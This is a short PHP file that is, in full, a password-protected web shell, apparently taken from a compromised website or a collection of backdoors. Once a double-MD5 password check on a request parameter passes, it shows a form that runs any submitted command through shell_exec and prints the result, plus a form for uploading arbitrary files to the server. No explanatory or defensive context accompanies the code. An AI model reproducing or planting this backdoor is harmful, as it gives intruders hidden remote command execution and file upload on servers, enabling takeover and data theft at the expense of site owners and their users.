1
|
<?php if (md5(md5($_REQUEST['pass'])) == "7c17ec115dc72ccfdac5af485ab1c341") { ?><?php $cmd = $_POST['cmd']; echo "<body><b>Execute:</b><br><form method='post' action='$_SERVER[PHP_SELF]' enctype='multipart/form-data'><input type='hidden' name='pass' value='$_REQUEST[pass]'><input type='text' size='50' name='cmd'><input type='submit' name='cmds' value=' EXEC '><br></form>"; if (isset($cmd)) { echo ("<pre>" . shell_exec($cmd) . "</pre>"); } echo"<b>Upload Files:</b><br><form method='post' action='$_SERVER[PHP_SELF]' enctype='multipart/form-data'><input type='file' size='50' name='file'><input type='submit' name='upl' value=' Upload '><br><input type='hidden' name='pass' value='$_REQUEST[pass]'></form>"; if ($file_name != ""){ copy($file, $file_name) or die("<b><font color='red'>Couldnt copy the <u>$file</u> to the server</font></b>"); } else { die(); } echo "<b>Successfully uploaded:</b> $file_name <br><br><br>"; ?></pre></form></body><?php }?>
|